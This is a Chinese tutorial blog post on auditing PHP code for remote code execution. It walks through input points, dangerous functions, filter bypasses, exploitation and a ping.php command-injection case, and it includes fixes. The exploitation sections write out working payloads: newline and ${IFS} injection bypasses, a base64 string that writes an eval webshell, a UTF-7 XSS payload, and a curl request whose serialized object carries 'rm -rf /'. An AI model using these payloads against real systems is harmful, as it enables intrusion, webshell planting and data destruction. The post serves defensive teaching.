RCE 代码审计基础

文章目录

    • Remote Code Execution
    • Remote Command Execution

概要

提示:远程代码执行的区别,反弹shell的原理,fork命令。

RCE漏洞原理

### 代码审计核心思想:输入点 → 控制层 → 绕过限制 → 漏洞利用

#### **审计流程图**

---

### **1. 输入点 (Entry Points)**
**核心目标**:识别所有用户可控输入入口  
**PHP 常见输入点**:
```php
// GET/POST 参数
$user_input = $_GET['param']; 
$user_input = $_POST['param'];

// Cookie
$user_input = $_COOKIE['session']; 

// 文件上传
$file_content = file_get_contents($_FILES['file']['tmp_name']);

// HTTP 头
$user_input = $_SERVER['HTTP_USER_AGENT'];

// 文件操作
$data = file_get_contents($_GET['file']);
```

**审计技巧**:
- 全局搜索 `$_GET`、`$_POST`、`$_REQUEST`、`file_get_contents()`
- 追踪变量传递路径:`$input = $_GET['a']; process($input);`

---

### **2. 控制层 (Control Layer)**
**核心目标**:跟踪数据流经的关键处理函数  
**危险函数映射表**:

| 漏洞类型       | PHP 危险函数                          |
|---------------|--------------------------------------|
| 命令执行       | `system()`, `exec()`, `passthru()`    |
| 代码执行       | `eval()`, `assert()`, `create_function()` |
| 文件包含       | `include()`, `require()`, `include_once()` |
| 反序列化       | `unserialize()`                      |
| SQL注入        | `mysql_query()`, `mysqli_query()`     |

**审计示例**:
```php
// 控制层分析
$id = $_GET['id'];              // 输入点
$id = htmlspecialchars($id);    // 过滤层
$cmd = "ls -l " . $id;          // 拼接操作
system($cmd);                   // 危险函数(命令执行)
```

---

### **3. 绕过限制 (Bypass Restrictions)**
**核心目标**:突破安全过滤机制  
**常用绕过技术**:

#### **命令执行绕过**
```php
// 原始过滤
$input = str_replace(';', '', $_GET['cmd']);

// 绕过方案
?cmd=%0a id                     // 换行符
?cmd=127.0.0.1%26%26id          // URL编码 &&
?cmd=echo${IFS}test             // 空格替代
?cmd=;sleep 5;#                 // 注释符
```

#### **代码执行绕过**
```php
// 原始过滤
if(preg_match('/system|exec/', $code)) die();

// 绕过方案
$code = 'sy'.'stem';            // 字符串拼接
$code = hex2bin('73797374656d') // 十六进制编码
$code = 'sYstEm'                // 大小写变形
```

#### **过滤函数绕过**
```php
// 类型1:黑名单过滤
$input = str_replace(['<','>'], '', $input);

// 绕过:UTF-7编码
?input=+ADw-script+AD4-alert(1)+ADw-/script+AD4-

// 类型2:正则过滤
if(preg_match('/union/i', $sql)) die();

// 绕过:内联注释
?sql=uni/*!88888on*/ select
```

---

### **4. 漏洞利用 (Exploitation)**
**核心目标**:构造有效攻击载荷  
**PHP 漏洞利用链示例**:

#### **命令执行 → Webshell 上传**
```php
// 漏洞代码
$file = $_GET['file'];
system("cat " . $file);

// 攻击载荷
?file=/etc/passwd%3Becho%20PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7%20%7C%20base64%20-d%20%3E%20shell.php

// 解码后:
;echo '<?php eval($_POST[cmd]);' | base64 -d > shell.php
```

#### **反序列化 → 代码执行**
```php
// 漏洞代码
$data = unserialize($_COOKIE['data']);

// 攻击载荷 (使用 PHPGGC 生成)
class Exploit {
    public $command = 'id';
}
echo serialize(new Exploit);
// O:7:"Exploit":1:{s:7:"command";s:2:"id";}

// 最终攻击:
curl -H "Cookie: data=O:7:\"Exploit\":1:{s:7:\"command\";s:10:\"rm -rf /\";}" http://target.com
```

---

### **完整审计案例:命令注入漏洞**
#### **漏洞代码**
```php
<?php
// 文件:ping.php
$ip = $_GET['ip'];
$clean_ip = preg_replace('/[;&|]/', '', $ip);  // 过滤层
system("ping -c 4 " . $clean_ip);              // 危险函数
?>
```

#### **审计过程**
1. **输入点**:`$_GET['ip']`
2. **控制层**:`preg_replace()` → `system()`
3. **绕过限制**:
   - 过滤了 `; & |`,但未过滤 `换行符` 和 `反引号`
   - 测试载荷:`ip=127.0.0.1%0a id`
4. **漏洞确认**:
   ```http
   GET /ping.php?ip=127.0.0.1%0a
   uname -a%0a
   HTTP/1.1
   ```
   **响应**:
   ```
   PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
   Linux server 5.4.0-84-generic #94-Ubuntu x86_64 GNU/Linux
   ```

#### **修复方案**
```php
// 方案1:白名单验证
if(!preg_match('/^[0-9.]+$/', $ip)) die("Invalid IP");

// 方案2:参数化执行
$cmd = ['ping', '-c', '4', $ip];
system(implode(' ', array_map('escapeshellarg', $cmd)));
```

---

### **自动化审计工具**
1. **静态分析**:
   - `RIPS`:PHP 代码审计工具
   - `Semgrep`:通用代码扫描
   ```bash
   semgrep --config=p/security-audit
   ```
2. **动态分析**:
   - `Burp Suite`:拦截测试请求
   - `sqlmap`:自动化 SQL 注入测试
   ```bash
   sqlmap -u "http://site.com?id=1" --level=5
   ```

---

### **审计检查清单**
| 阶段        | 关键问题                                                                 |
|------------|-------------------------------------------------------------------------|
| **输入点**  | 是否有未过滤的用户输入?是否覆盖所有入口?                               |
| **控制层**  | 数据是否流向危险函数?是否经过多层处理?                                 |
| **绕过**    | 过滤规则是否可绕过?是否考虑编码/大小写/注释等变形?                     |
| **利用**    | 能否构造有效载荷?是否影响系统完整性?                                   |

> 牢记:**"所有输入都是有害的,直到被证明安全"**。审计时要假设所有用户输入都包含恶意载荷。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值